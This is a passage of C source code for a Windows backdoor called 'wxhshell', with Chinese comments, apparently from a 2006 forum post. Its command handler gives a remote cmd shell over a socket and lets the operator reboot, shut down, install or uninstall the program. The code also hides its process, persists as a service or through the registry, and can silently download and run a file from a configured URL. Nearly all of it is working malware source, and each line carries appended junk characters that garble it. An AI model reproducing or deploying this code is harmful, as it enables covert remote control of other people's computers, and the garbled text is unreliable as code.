  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8F[ ;ma>Z8  
  else 4nP4F +  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ov#\  
  } RticGQy&5  
  else { 5h^BXX|Y*  
kksffzG  
    switch(cmd[0]) { [! wJIy?,  
  iY?#R&  
  // 帮助 _&U#*g  
  case '?': { 9-q> W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d$x vEm  
    break; cYe2 a "  
  } u-s*k*VHoc  
  // 安装 ,}@4@ >?K  
  case 'i': { m;hp1VO)  
    if(Install()) &+A78I   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ks6iy}f7  
    else n1JV)4Mv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +se OoTKR  
    break; MBw;+'93qf  
    } vu.?@k@  
  // 卸载 V*fv>f:Yv  
  case 'r': { = M4:nt  
    if(Uninstall()) iR./9}Ze  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =T6 ~89  
    else ^b`-zFL7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O9_1a=M  
    break; 8@(?E[&O>  
    } @_$$'XA7  
  // 显示 wxhshell 所在路径 IHi[3xf<  
  case 'p': { @Lf&[_  
    char svExeFile[MAX_PATH]; >`a^E1)  
    strcpy(svExeFile,"\n\r"); 94dd )/a  
      strcat(svExeFile,ExeFile); ,%N[FZ`|  
        send(wsh,svExeFile,strlen(svExeFile),0); xP9h$!  
    break; p=A, yGDV  
    } 7RBEEE`)  
  // 重启 (3D&GY!/  
  case 'b': { Ab/JCZNn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D}X6I#U'/  
    if(Boot(REBOOT)) m a@V>*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qF 1z}L(  
    else { =Hn--DEMg  
    closesocket(wsh); /3^XJb$Sa  
    ExitThread(0); iymN|KdpaZ  
    } :aaX Y:<  
    break; |4 \2,M#  
    } 4r ~K`)/S'  
  // 关机 BY[7`@  
  case 'd': { *s" OqTM]x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ABe25Sus  
    if(Boot(SHUTDOWN)) lVq5>:'}^;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9kF0H a}J  
    else { l4U*Lv>   
    closesocket(wsh); 4lc|~Fj++  
    ExitThread(0); ]1>R8  
    } TI l 'Z7  
    break; 4@Db $PHs  
    } U*\K<fw   
  // 获取shell l4r >#n\yj  
  case 's': { 7=u Gf$/  
    CmdShell(wsh); +^esL9RG:  
    closesocket(wsh); X0^@E   
    ExitThread(0); /FC HF#yK  
    break; lN:;~;z_  
  } 3Og}_  
  // 退出 ;n*|AL7(  
  case 'x': { sF[gjeIb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X])iQyN  
    CloseIt(wsh); Nb !i_@m%s  
    break; U?{oxy_[2  
    } Wu|MNB?M  
  // 离开 .*9u_2<  
  case 'q': { ,"gPd!HD (  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u=W[ S)w  
    closesocket(wsh); Dqc GzTz  
    WSACleanup(); 46e?%0(  
    exit(1); )$i,e`T   
    break; +"BJjxG  
        } [ei~Xkzkj  
  } %s+'"E"E  
  } R6fkc^  
Nj2l>[L;  
  // 提示信息 ilJ`_QN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g~.#.S ds  
} Lp(`m=;O  
  } hbvcIGaT  
'1b)(IW  
  return; 9@ fSO<  
} ] L#c <0  
=JfwHFHd#  
// shell模块句柄 ^zO{Aks  
int CmdShell(SOCKET sock) 'fb\t,  
{ R?:Q=7K  
STARTUPINFO si; ~D|,$E tX4  
ZeroMemory(&si,sizeof(si)); V~/-e- 9u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,C><n kx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \a|~#N3?  
PROCESS_INFORMATION ProcessInfo; fvH{ va.  
char cmdline[]="cmd"; R59iuHQ[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m^qFaf)6  
  return 0; K`9~#Zx$  
} =_C&lc"  
5j]!r  
// 自身启动模式 pQ0*)}l,  
int StartFromService(void) yUo8-OaL7  
{ G93V=Bk=  
typedef struct YQHpW>z  
{ ^c}3o|1m(  
  DWORD ExitStatus; P%l?C?L  
  DWORD PebBaseAddress; PcT]  
  DWORD AffinityMask; DMch88W  
  DWORD BasePriority;  \SQ4yc  
  ULONG UniqueProcessId; ^(C4Q?[2m  
  ULONG InheritedFromUniqueProcessId; 3'0vLi  
}   PROCESS_BASIC_INFORMATION; >]ux3F3\  
.4"BN<9  
PROCNTQSIP NtQueryInformationProcess; D>W&#A8&y  
fUWrR1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JmR2skoV,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >I~Q[  
Hqs-q4G$  
  HANDLE             hProcess; gAztdA sLM  
  PROCESS_BASIC_INFORMATION pbi; P,)D0i  
ey[Z<i1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >M{98NH  
  if(NULL == hInst ) return 0; BRY/[QRqZ  
-o"b$[sf=Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w{[^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FqbGT(QB0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); srN7  
8g_kZ^<[  
  if (!NtQueryInformationProcess) return 0; g.`Ntsi$wI  
sBI/`dGZV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pi?G:IF  
  if(!hProcess) return 0; U7n#TPet  
#>:S&R?2t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :nb|WgEc  
EFVZAY"+!;  
  CloseHandle(hProcess); Q) aZ0 Pt  
,|VLOY ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PH8 88O  
if(hProcess==NULL) return 0; 'bM=  
aLm~.@Q  
HMODULE hMod; kBC$dW-  
char procName[255]; lv!j  
unsigned long cbNeeded; T>(X`(  
aL&egM*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); psIo[.$rTk  
j96}E/gF  
  CloseHandle(hProcess); IZ>l  
k -R"e  
if(strstr(procName,"services")) return 1; // 以服务启动  C&qo$C  
1U/9=b  
  return 0; // 注册表启动 &W<9#RPK'  
} "DvZCf[}  
K7JZUS`C!  
// 主模块 iVeH\a  
int StartWxhshell(LPSTR lpCmdLine) P~!,"rY  
{ MLTS<pW/  
  SOCKET wsl; gS[B;+d  
BOOL val=TRUE; #=y)Wuo=  
  int port=0; ESoC7d&.K{  
  struct sockaddr_in door; 'Y ,2CN  
x5PM ]~"p  
  if(wscfg.ws_autoins) Install(); s92ol0`  
 9Ca0Tu  
port=atoi(lpCmdLine); 7DK}c]js  
RaSuzy^`*]  
if(port<=0) port=wscfg.ws_port; /t]1_  
(:E@kpK  
  WSADATA data; S`b!sT-sD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;/4x.t#b  
*^ G,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SOsz=bVx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (m! kg  
  door.sin_family = AF_INET; uc"%uc'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ue;Z)}  
  door.sin_port = htons(port); (r?hD*2r  
X8*~Cf73u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F~rl24F  
closesocket(wsl); l{^s4  
return 1; L{IMZ+IB2|  
} 6l4=  
YGQ/zB^Pj  
  if(listen(wsl,2) == INVALID_SOCKET) { PY '^:0  
closesocket(wsl); 8,h!&9  
return 1; 29Gel  
} +Z_VF30pa  
  Wxhshell(wsl); alzdYiGf  
  WSACleanup(); 7>MG8pf3a  
2o[ceEg  
return 0; gx^!&>eIb#  
w]h8KNt  
} &J9 + 5L8  
32aI0CT  
// 以NT服务方式启动 Xe: ^<$z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !9r%d8!z  
{ -:r<sv$  
DWORD   status = 0; 0>-}c>  
  DWORD   specificError = 0xfffffff; t~ I;IB  
St!0MdCH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K@[Hej6d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T ?A3f]U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aYk: CYQ  
  serviceStatus.dwWin32ExitCode     = 0; &|'yqzS3  
  serviceStatus.dwServiceSpecificExitCode = 0; Mby4(M+&n  
  serviceStatus.dwCheckPoint       = 0; uR2|>m  
  serviceStatus.dwWaitHint       = 0; ^uw]/H3?L  
bnvY2-O6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1D [>oK\  
  if (hServiceStatusHandle==0) return; &CXk=Wj  
t&x\@p9  
status = GetLastError(); /L(}VJg-  
  if (status!=NO_ERROR) +]wM$bP  
{ =Sr<d|\O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ] FvGAG.*  
    serviceStatus.dwCheckPoint       = 0; "B +F6  
    serviceStatus.dwWaitHint       = 0; Pz D30VA  
    serviceStatus.dwWin32ExitCode     = status; QAo/d4  
    serviceStatus.dwServiceSpecificExitCode = specificError; u~ FVI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oop6o $k  
    return; wmR~e  
  } ^@=4HtA  
lqrI*@>Tz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,1CmB@  
  serviceStatus.dwCheckPoint       = 0; * Z)j"i  
  serviceStatus.dwWaitHint       = 0; 4|Y1W}!0/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Lje.%(E.  
} dSTyx#o  
~9k E.  
// 处理NT服务事件,比如:启动、停止 ^  ~1QA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S"^'ksL\  
{ jd5kkX8=  
switch(fdwControl) sieC7raO  
{ E&t8nlTx  
case SERVICE_CONTROL_STOP: Fx1FxwIJ  
  serviceStatus.dwWin32ExitCode = 0; A{)pzV25  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y eIS}O  
  serviceStatus.dwCheckPoint   = 0; !or_CJ8%  
  serviceStatus.dwWaitHint     = 0; g__s(  IJ  
  { dOaCdnd~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sL\ {.ad5  
  } 5"1wz  
  return; _e8v12s  
case SERVICE_CONTROL_PAUSE: Hc|cA(9sh9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )OQ<H.X  
  break; ?0sTx6x@  
case SERVICE_CONTROL_CONTINUE: GCr]x '  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n?D/bXp  
  break; ?5};ONjN  
case SERVICE_CONTROL_INTERROGATE: #J5_z#-Q;  
  break; KMqGWO*  
}; !vK0|eV3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >6WZSw/Hq  
} ?D9iCP~~  
hG<[F@d  
// 标准应用程序主函数 rhaq!s38:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P&[&Dj  
{ )ryP K"V  
C}jrx^u>  
// 获取操作系统版本 'T qF}a7  
OsIsNt=GetOsVer(); wm ?%&V/#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xj30bt  
Y+$]N:\F\  
  // 从命令行安装 )~"0d;6_  
  if(strpbrk(lpCmdLine,"iI")) Install(); : #n>Q1}x  
Tw*p^rU  
  // 下载执行文件 *$;Zk!sEF  
if(wscfg.ws_downexe) { %2\Pe 2Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c`S+>:  
  WinExec(wscfg.ws_filenam,SW_HIDE); v,~f G>Y}  
} +`mI\+y,  
<rui\/4NJ  
if(!OsIsNt) { :w|=o9J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ets6tM`  
HideProc(); g6.I~o Q j  
StartWxhshell(lpCmdLine); ;:R2 P@6f  
} CZ$B2i6  
else L>7@!/ 9L  
  if(StartFromService()) Hdd3n 6*  
  // 以服务方式启动 glROT@  
  StartServiceCtrlDispatcher(DispatchTable); ij3W8i9'  
else ^liW*F"UY  
  // 普通方式启动 L+@X]O W8  
  StartWxhshell(lpCmdLine); P&: [pPG  
=^{MyR7  
return 0; DNqC*IvuzM  
}
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只看该作者 1 发表于: 2006-10-10
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